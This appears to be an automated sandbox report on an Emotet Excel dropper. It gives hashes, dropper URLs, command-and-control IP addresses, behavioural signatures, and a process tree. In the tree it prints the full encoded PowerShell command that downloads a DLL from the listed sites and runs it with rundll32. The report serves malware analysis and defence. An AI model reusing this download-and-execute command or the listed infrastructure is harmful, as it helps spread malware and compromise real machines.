emotet | 1fb4ce58086f35a8a9113c14c28ff62dc760f29d6a8e02991f5d45f35d7a110f

Analysis

max time kernel
121s
max time network
148s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 15:58

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General

Target
tmpv_a4ykh5.xls
Size 144KB
Sample220125-tehl1aadcn
SHA256 1fb4ce58086f35a8a9113c14c28ff62dc760f29d6a8e02991f5d45f35d7a110f
MD5 863b0c726b8474b8b9b28f9c04d4750e
SHA1 718ecaa9dc859ea7914538fcc790b69e28d1325c
SHA512 20e20e3fcb0f2b5898f8ebc238109aaca45c225c716aa2515d9da898d1f5b4a884685a7469f6a1470e5a540dae6b5a61cf4363b9404d0f08df9732cf78ba9106
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://philiatek.com/wp-content/i6xZ9PESl4QAWL9O/
exe.dropper
http://diademfinancial.com/oxly7sr/IfH/
exe.dropper
http://khustle.com/cgi-bin/jz381CkM5gYgMH/
exe.dropper
http://newalthyplane.com.althyplane.com/dmcbg7s/X4bbl6/
exe.dropper
http://nostringsattachedrelationship.net/wp-content/xDuD8qnc/
exe.dropper
https://acorngift.com/wp-content/YhNgI/
exe.dropper
http://russian-coins.info/libraries/8oDzr/
exe.dropper
http://daisy.sukoburu-secure.com/assets/qrwbWpSM/
exe.dropper
http://ppdbsmp.insanrabbany.sch.id/assets/eofgaHjWVR9o/
exe.dropper
http://harmonylifecare.vogomo.com/m113gvw/bsKtRYvTM/
exe.dropper
https://cce.edu.in/admin/Z6RV47bMBr/
exe.dropper
http://migrantexlatex.com.mx/cgi-bin/2BAb/
exe.dropper
http://orientbuffet.eu/administrator/9WZ/
exe.dropper
http://lencentr.ru/css/TQDy95IkYBzGlyS/

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80
69.16.218.101:8080
51.210.242.234:8080
185.148.168.220:8080
142.4.219.173:8080
54.38.242.185:443
191.252.103.16:80
104.131.62.48:8080
62.171.178.147:8080
217.182.143.207:443
168.197.250.14:80
37.44.244.177:8080
66.42.57.149:443
210.57.209.142:8080
159.69.237.188:443
116.124.128.206:8080
128.199.192.135:8080
195.154.146.35:443
185.148.168.15:8080
195.77.239.39:8080
207.148.81.119:8080
85.214.67.203:8080
190.90.233.66:443
78.46.73.125:443
78.47.204.80:443
37.59.209.141:8080
54.37.228.122:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1680	1016	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 3 IoCs

flow	pid	Process
29	624	powershell.exe
41	2512	rundll32.exe
42	2512	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2824	rundll32.exe
404	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cowuyusmz\bjtgtrnwlqzdn.jji	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1016	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
624	powershell.exe
624	powershell.exe
624	powershell.exe
2512	rundll32.exe
2512	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	624	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1016	EXCEL.EXE
1016	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE
1016	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 1016 wrote to memory of 1680	1016	EXCEL.EXE	70
PID 1016 wrote to memory of 1680	1016	EXCEL.EXE	70
PID 1680 wrote to memory of 624	1680	cmd.exe	73
PID 1680 wrote to memory of 624	1680	cmd.exe	73
PID 624 wrote to memory of 2824	624	powershell.exe	74
PID 624 wrote to memory of 2824	624	powershell.exe	74
PID 624 wrote to memory of 2824	624	powershell.exe	74
PID 2824 wrote to memory of 404	2824	rundll32.exe	75
PID 2824 wrote to memory of 404	2824	rundll32.exe	75
PID 2824 wrote to memory of 404	2824	rundll32.exe	75
PID 404 wrote to memory of 1648	404	rundll32.exe	76
PID 404 wrote to memory of 1648	404	rundll32.exe	76
PID 404 wrote to memory of 1648	404	rundll32.exe	76
PID 1648 wrote to memory of 2512	1648	rundll32.exe	77
PID 1648 wrote to memory of 2512	1648	rundll32.exe	77
PID 1648 wrote to memory of 2512	1648	rundll32.exe	77

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpv_a4ykh5.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\tydkjxjd.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcABoAGkAbABpAGEAdABlAGsALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADYAeABaADkAUABFAFMAbAA0AFEAQQBXAEwAOQBPAC8ALABoAHQAdABwADoALwAvAGQAaQBhAGQAZQBtAGYAaQBuAGEAbgBjAGkAYQBsAC4AYwBvAG0ALwBvAHgAbAB5ADcAcwByAC8ASQBmAEgALwAsAGgAdAB0AHAAOgAvAC8AawBoAHUAcwB0AGwAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGoAegAzADgAMQBDAGsATQA1AGcAWQBnAE0ASAAvACwAaAB0AHQAcAA6AC8ALwBuAGUAdwBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALgBhAGwAdABoAHkAcABsAGEAbgBlAC4AYwBvAG0ALwBkAG0AYwBiAGcANwBzAC8AWAA0AGIAYgBsADYALwAsAGgAdAB0AHAAOgAvAC8AbgBvAHMAdAByAGkAbgBnAHMAYQB0AHQAYQBjAGgAZQBkAHIAZQBsAGEAdABpAG8AbgBzAGgAaQBwAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AeABEAHUARAA4AHEAbgBjAC8ALABoAHQAdABwAHMAOgAvAC8AYQBjAG8AcgBuAGcAaQBmAHQALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBZAGgATgBnAEkALwAsAGgAdAB0AHAAOgAvAC8AcgB1AHMAcwBpAGEAbgAtAGMAbwBpAG4AcwAuAGkAbgBmAG8ALwBsAGkAYgByAGEAcgBpAGUAcwAvADgAbwBEAHoAcgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAaQBzAHkALgBzAHUAawBvAGIAdQByAHUALQBzAGUAYwB1AHIAZQAuAGMAbwBtAC8AYQBzAHMAZQB0AHMALwBxAHIAdwBiAFcAcABTAE0ALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AcAAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBhAHMAcwBlAHQAcwAvAGUAbwBmAGcAYQBIAGoAVwBWAFIAOQBvAC8ALABoAHQAdABwADoALwAvAGgAYQByAG0AbwBuAHkAbABpAGYAZQBjAGEAcgBlAC4AdgBvAGcAbwBtAG8ALgBjAG8AbQAvAG0AMQAxADMAZwB2AHcALwBiAHMASwB0AFIAWQB2AFQATQAvACwAaAB0AHQAcABzADoALwAvAGMAYwBlAC4AZQBkAHUALgBpAG4ALwBhAGQAbQBpAG4ALwBaADYAUgBWADQANwBiAE0AQgByAC8ALABoAHQAdABwADoALwAvAG0AaQBnAHIAYQBuAHQAZQB4AGwAYQB0AGUAeAAuAGMAbwBtAC4AbQB4AC8AYwBnAGkALQBiAGkAbgAvADIAQgBBAGIALwAsAGgAdAB0AHAAOgAvAC8AbwByAGkAZQBuAHQAYgB1AGYAZgBlAHQALgBlAHUALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AOQBXAFoALwAsAGgAdAB0AHAAOgAvAC8AbABlAG4AYwBlAG4AdAByAC4AcgB1AC8AYwBzAHMALwBUAFEARAB5ADkANQBJAGsAWQBCAHoARwBsAHkAUwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAIABmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:624
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\359872750.dll,f372350612
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2824
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\359872750.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:404
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cowuyusmz\bjtgtrnwlqzdn.jji",SYYE
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1648
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cowuyusmz\bjtgtrnwlqzdn.jji",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/404-362-0x0000000000A30000-0x0000000000A58000-memory.dmp

Download

memory/404-359-0x00000000008A0000-0x00000000008C8000-memory.dmp

Download

memory/404-357-0x0000000000870000-0x0000000000898000-memory.dmp

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memory/404-355-0x0000000000740000-0x0000000000768000-memory.dmp

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memory/404-353-0x0000000000710000-0x0000000000738000-memory.dmp

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memory/404-351-0x00000000006E0000-0x0000000000708000-memory.dmp

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memory/404-349-0x00000000006B0000-0x00000000006D8000-memory.dmp

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memory/624-319-0x00000213F49F0000-0x00000213F4A12000-memory.dmp

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memory/624-324-0x00000213F2B30000-0x00000213F2BF0000-memory.dmp

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memory/624-334-0x00000213F2B30000-0x00000213F2BF0000-memory.dmp

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memory/624-323-0x00000213F2B30000-0x00000213F2BF0000-memory.dmp

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memory/624-322-0x00000213F4D80000-0x00000213F4DF6000-memory.dmp

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memory/1016-116-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-422-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-263-0x0000018FF3F50000-0x0000018FF3F54000-memory.dmp

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memory/1016-129-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

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memory/1016-128-0x00007FF8C4EA0000-0x00007FF8C4EB0000-memory.dmp

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memory/1016-119-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-118-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-117-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-423-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-115-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-420-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1016-421-0x00007FF8C87C0000-0x00007FF8C87D0000-memory.dmp

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memory/1648-361-0x0000000003060000-0x0000000003088000-memory.dmp

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memory/2512-376-0x00000000048F0000-0x0000000004918000-memory.dmp

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memory/2512-378-0x00000000049E0000-0x0000000004A08000-memory.dmp

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memory/2512-380-0x0000000004AE0000-0x0000000004B08000-memory.dmp

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memory/2512-374-0x0000000004810000-0x0000000004838000-memory.dmp

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memory/2512-372-0x0000000004730000-0x0000000004758000-memory.dmp

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memory/2512-368-0x0000000004640000-0x0000000004668000-memory.dmp

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memory/2824-346-0x0000000004920000-0x0000000004948000-memory.dmp

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